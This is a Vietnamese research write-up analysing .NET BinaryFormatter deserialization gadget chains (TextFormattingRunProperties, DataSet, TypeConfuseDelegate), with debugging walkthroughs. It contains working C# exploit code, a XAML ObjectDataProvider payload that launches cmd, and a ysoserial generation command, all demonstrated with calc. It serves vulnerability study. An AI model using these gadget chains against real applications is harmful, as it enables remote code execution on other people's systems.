---
description: Ở bài này ta sẽ cùng phân tích một vài chain của BinaryFormatter
---

# Formatter - một vài chain của BinaryFormatter

## TextFormattingRunProperties chain

Đây là một chain đơn giản và cũng là tiền đề của các chain khác trong **BinaryFormatter**, nên mình sẽ phân tích trước

Điều kiện để exploit chain này:

* Dùng BinaryFormatter
* Target có dùng `Microsoft.PowerShell.Editor.dll` (là một phần của Powershell, thường được cài đặt mặc định trong các bản windows server 2008/windows 7 trở lên)

### Demo Exploit

Đầu tiên ta sẽ nhìn vào code gen payload của ysoserial để có cái nhìn tổng quát về chain

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FFqsgXDmljyI7cOFoKL7B%2Fimage.png?alt=media&#x26;token=5cf1f2fa-b8f6-4abe-bcbd-2e0572bd1650" alt="" width="563"><figcaption></figcaption></figure>

Ta thấy code này chủ yếu là chỉ tạo ra 1 object wrapper inplement lại `ISerializable` để cho phép custome quá trình seri, trong quá trình seri sẽ gọi đến `info.SetType` nhằm set object type khi object này được deser (tham khảo: [https://stackoverflow.com/questions/42794732/customized-serialization#:\~:text=4,table of sprites](https://stackoverflow.com/questions/42794732/customized-serialization)). Hiểu đơn giản là sau khi `SetType`, nếu object được deser thì sẽ đi đến SetObjectData (do ta implement lại ISerializable) để tạo object có type tương ứng với object type được set, nghĩa là từ 1 object wrapper ta có thể tạo instace của bất kỳ object nào thông qua `SetType`. Nguyên nhân của việc phải khai báo 1 cách gián tiếp như thế này là vì object ta muốn lợi dụng để exploit không thể khai báo trong code một cách bình thường do constructor của nó không được public, do đó ta phải thông qua `SetType`

Ta thấy chain này cực kỳ đơn giản chỉ set property `ForegroundBrush` cho object type `TextFormattingRunProperties` là một malicious xaml

Ta có đoạn code sau để demo lại chain và exploit trên local:

```csharp
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;

namespace TextFormattingRunProperties
{
    [Serializable]
    public class ExploitObject : ISerializable
    {
        protected ExploitObject(SerializationInfo info, StreamingContext context)
        {
        }
    
        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }
        public ExploitObject(string xaml)
        {
            _xaml = xaml;
        }
    }
    
    class Program
    {
        static void Main(string[] args)
        {
            string xaml_payload = File.ReadAllText(@"xml.txt");
            ExploitObject payload = new ExploitObject(xaml_payload);

            using (MemoryStream memoryStream = new MemoryStream())
            {
                BinaryFormatter binaryFormatter = new BinaryFormatter();
                binaryFormatter.Serialize(memoryStream, payload);
                memoryStream.Position = 0;
                binaryFormatter.Deserialize(memoryStream);
            }
            Console.ReadKey();
        }
    }
}
```

Nội dung file xml.txt

```csharp
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
```

Kết quả khi thực thi sẽ quăng ra lỗi nhưng vẫn pop up calc

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FOdsYRUO75DyqNItP1Sx3%2Fimage.png?alt=media&#x26;token=e9b42fd0-102d-4f4b-bfd4-5dc9984743c3" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Note: như đã đề cập ở bài trước thì malicious xaml có thể thay bằng ResourceDictionary và cho hiệu quả tương tự
{% endhint %}

### Phân tích

Sink nằm ở `TextFormattingRunProperties` của `Microsoft.PowerShell.Editor.dll` nên mình sẽ decomplie dll này để xem source (nếu không tìm thấy dll ở local thì có thể decomplie dll đi kèm khi tải ysoserial nằm ở đường dẫn ysoserial.net\ysoserial\dlls\Microsoft.PowerShell.Editor.dll)

Decomplie bằng dnspy ta được kết quả như sau:

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FmV0yUX9WAhISF9VWxvDX%2Fimage.png?alt=media&#x26;token=117436c8-8a0f-4ad2-8e36-037b7226bf72" alt="" width="563"><figcaption></figcaption></figure>

Nhấn vào `Microsoft.VisualStudio.Text.Formatting` để tìm `TextFormattingRunProperties`

Nhìn vào constructor của TextFormattingRunProperties ta để ý đoạn set `ForegroundBrush` sẽ gọi đến `GetObjectFromSerializationInfo`

Nội dung hàm `GetObjectFromSerializationInfo`

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FzdarcEPi4jytlt1nqJZh%2Fimage.png?alt=media&#x26;token=e06ba619-3950-45da-a8e4-a3e0164b0e76" alt=""><figcaption></figcaption></figure>

Ta thấy giá trị malicious xaml mà ta truyền vào sẽ được lấy ra và đưa vào `XamlReader.Parse` → RCE

Vậy thì tóm tắt chain này sẽ như sau:

```
binaryFormatter.Deserialize -> TextFormattingRunProperties() -> GetObjectFromSerializationInfo() -> XamlReader.Parse()
```

Mình thử debug để confirm lại

Để debug thì mình phải add file exe dùng để demo vào và run debug (lưu ý dùng dnspy bản 32-bit)

Break at set là Don’t Break

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FFtVqrVfkXTAdY80R8O49%2Fimage.png?alt=media&#x26;token=cc3b75b7-e392-4ff7-bb00-e5673282182d" alt="" width="563"><figcaption></figcaption></figure>

Code sẽ dừng ngay đây:

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2F6CaxkdXNE9lYsn4vZdDw%2Fimage.png?alt=media&#x26;token=04053d49-9244-4586-8ebd-ffb52775cd7c" alt="" width="563"><figcaption></figcaption></figure>

Nhấn `F9` để đặt breakpoint tại đây và rundebug lại một lần nửa thì ta sẽ hit được breakpoint

Khi này chỉ cần `Step Into` là ta sẽ đi đến constructor của TextFormattingRunProperties

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FM5C1GV6bWATwyJ9Qb1Jh%2Fimage.png?alt=media&#x26;token=ccb3b340-170b-48e6-875b-2b83b701a4b1" alt=""><figcaption></figcaption></figure>

Tiếp tục nhảy vào `GetObjectFromSerializationInfo`

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2Ff5nkFq3TcRRyTzl3MjRy%2Fimage.png?alt=media&#x26;token=9df936b0-703c-4d59-934c-2c477428e33d" alt=""><figcaption></figcaption></figure>

Giá trị của biến string là xaml payload, khi đi qua hàm Parse thì calc popup

## DataSet chain

Chain tiếp theo sẽ là `DataSet`, thật ra chain này có phần đầu là DataSet còn phần cuối lại gọi đến TextFormattingRunProperties

Tóm tắt chain

```
DataSet() -> this.DeserializeDataSet() -> DeserializeDataSetSchema() -> BinaryFormatter.Deserialize -> TextFormattingRunProperties() -> GetObjectFromSerializationInfo() -> XamlReader.Parse()
```

Điều kiện để exploit:

* Target có sử dụng `Microsoft.PowerShell.Editor.dll` package (tương tự chain trên vì DataSet thuộc package System.Data - mặc định)

### Demo exploit

Vì lười nên mình dùng yso gen payload và viết code load payload để build file exe demo dùng cho mục đích debug

Gen payload:

```powershell
ysoserial.exe -g DataSet -f BinaryFormatter -c calc -o raw > data.bin
```

Code load đơn giản:

```csharp
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;

namespace DataSet
{
    internal class Program
    {
        public static void Main(string[] args)
        {
            BinaryFormatter bf = new BinaryFormatter();
            Stream stream = new FileStream("data.bin", FileMode.Open, FileAccess.Read, FileShare.Read);
            bf.Deserialize(stream);
            stream.Close();
        }
    }
}
```

Khi chạy code thì sẽ quăng ra lỗi, kèm theo đó là calc pop up

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2Fn0qGA7RQc58FeyWDUVFj%2Fimage.png?alt=media&#x26;token=dc60fdb4-8471-4b16-8947-f795f63e2507" alt=""><figcaption></figcaption></figure>

### Phân tích

Trước khi debug thì mình nhìn sơ qua cách yso gen payload

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2Fu813LAYlJXjSh90731hm%2Fimage.png?alt=media&#x26;token=21a3c504-e684-494e-81d5-ec78f8f261d5" alt=""><figcaption></figcaption></figure>

Ta thấy payload sẽ khai báo object type khi deser là `DataSet` kèm theo một vài property, payload trigger RCE là `_fakeTable` nằm trong property `Tables_0`

Khi kéo lên trên để nhìn code được gọi khi gen thì ta sẽ biết giá trị của `_fakeTable` là binary của chain `TextFormattingRunProperties`

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FV08I1W0Mo3uK25DAHmfX%2Fimage.png?alt=media&#x26;token=44debf24-b726-4f06-bfe8-f52bb17c8e34" alt=""><figcaption></figcaption></figure>

Vậy là chain `TextFormattingRunProperties` được lồng vào trong chain `DataSet`

Tiếp theo mình sẽ attach file demo vào dnspy và tiến hành debug

Tương tự như chain trên, mình chạy lần đầu để dnspy tự nhảy đến điểm quăng lỗi, sau đó đặt breakpoint và chạy lại lần 2 để nhảy vào constructor của `DataSet`

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FtmUKZs9HQHX0x1tA4UGN%2Fimage.png?alt=media&#x26;token=d8a751c8-36cb-4ff9-9b75-765c7d4c33c6" alt=""><figcaption></figcaption></figure>

Đoạn code trên tại constructor sẽ lặp qua từng giá trị ta set trong `SerializationInfo`

Nếu gặp phải `DataSet.RemotingFormat` thì nó sẽ set serialize format thành giá trị mà ta cung cấp (nếu không có thì mặc định seralize format là xml)

Vì payload ta khai báo format là `Binary` nên ta bỏ qua được 2 câu if và nhảy thẳng vào method `DeserializeDataSet`

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2F95E08D9EuppJrKOUdW5P%2Fimage.png?alt=media&#x26;token=11a2a6ec-7334-425b-bb11-bcbe1f6237c4" alt=""><figcaption></figcaption></figure>

Trong method này ta tiếp tục đi vào `DeserializeDataSetSchema`

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2F66K0EsgwOp3WnlIlrDL6%2Fimage.png?alt=media&#x26;token=2c278cad-a317-42d4-b0b5-845f30c2adb2" alt=""><figcaption></figcaption></figure>

Tại đây vì formatter là `Binary` nên ta sẽ nhảy vào câu if thứ 2

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FtFifd3tstymQ86QWXJDp%2Fimage.png?alt=media&#x26;token=c1ac8ab5-10a4-44d8-b827-8d8717955c3b" alt=""><figcaption></figcaption></figure>

Tiếp đến code gọi đến `DeserializeDataSetProperties`, tại method này nếu ta muốn tiếp tục đi đến sink thì ta phải khai báo một số giá trị như DataSetName, Namespace,…

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FEYlnEZaF1zq2puwzBY9u%2Fimage.png?alt=media&#x26;token=8be0e864-cbad-4053-bfc1-c75ff6160700" alt=""><figcaption></figcaption></figure>

Đó cũng chính là lý do vì sao khi gen payload ta cần phải setup nhiều property đến vậy

Tiếp tục quay lại hàm `DeserializeDataSetSchema`, vì ta setup `DataSet.Tables.Count = 1` nên code nhảy vào vòng for và giá trị của `DataSet.Tables_0` được gán vào bytes array và đem đi deser

<figure><img src="https://84143647-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOzRSs0yxBc5GafSMIql8%2Fuploads%2FJgUWAyHYqU5Crg2tbtuX%2Fimage.png?alt=media&#x26;token=248a7a33-b751-4ca6-bf35-c2a5997a9be5" alt=""><figcaption></figcaption></figure>

Chain đến đây có thể coi như đã xong vì khi deser bytes array đó sẽ gọi đến constructor của TextFormattingRunProperties và flow code y hệt như mình phân tích ở phần đầu

### Tóm lại

Ta có thể thấy chain này chỉ đơn giản relay lại chain TextFormattingRunProperties, tuy điểm ban đầu là khác nhưng về bản chất thì sinks đều y như sau

Tóm tắt chain lại 1 lần nữa

```
DataSet() -> this.DeserializeDataSet() -> DeserializeDataSetSchema() -> BinaryFormatter.Deserialize -> TextFormattingRunProperties() -> GetObjectFromSerializationInfo() -> XamlReader.Parse()
```

## TypeConfuseDelegate

Exploit code

```csharp
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;

namespace TypeConfuseDelegate
{
    internal class Program
    {
        public static object CustomGadget()
        {
            Comparison<string> comparison = new Comparison<string>(String.Compare);
            Comparison<string> realComparison = (Comparison<string>)MulticastDelegate.Combine(comparison, comparison);
            //ComparisonComparer<string> comparisonComparer = new ComparisonComparer<string>(comparison);
            Comparer<string> comparisonComparer = Comparer<string>.Create(realComparison);
            SortedSet<string> set = new SortedSet<string>(comparisonComparer);
            set.Add("cmd.exe");
            set.Add("/c calc.exe");
    
            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
            object[] invoke_list = realComparison.GetInvocationList();
            invoke_list[1] = new Func<string, string, Process>(Process.Start);
            fi.SetValue(realComparison, invoke_list);
    
            return set;
        }
        
        public static void BinaryFormatterSerialize(string file, object o)
        {
            BinaryFormatter bf = new BinaryFormatter();
            FileStream fs = new FileStream(file, FileMode.Create, FileAccess.Write, FileShare.None);
            bf.Serialize(fs,o);
            fs.Close();
        }

        public static object BinaryFormatterDerialize(string file)
        {
            BinaryFormatter bf = new BinaryFormatter();
            Stream stream = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.Read);
            object o = bf.Deserialize(stream);
            stream.Close();
            return o;
        }
        
        public static void Main(string[] args)
        {
            object set = CustomGadget();
            string file = "data.bin";
            
            BinaryFormatterSerialize(file, set);
            BinaryFormatterDerialize(file);
        }
    }
}
```

Nguồn: [https://testbnull.medium.com/deep-inside-typeconfusedelegate-gadgetchain-456915ed646a](https://testbnull.medium.com/deep-inside-typeconfusedelegate-gadgetchain-456915ed646a)

{% embed url="https://testbnull.medium.com/c%C3%B3-g%C3%AC-b%C3%AAn-trong-c%C3%A1c-net-deser-gadgetchain-3d89897c4878" %}

{% embed url="https://googleprojectzero.blogspot.com/2017/04/" %}

## Note trick

{% hint style="info" %}
Nếu muốn serialize một object mà ta không thể khởi tạo ví dụ như object internal của .net thì ta dùng phương pháp implement `ISerializable` và thông qua `info.SetType`để serialize được object mong muốn
{% endhint %}

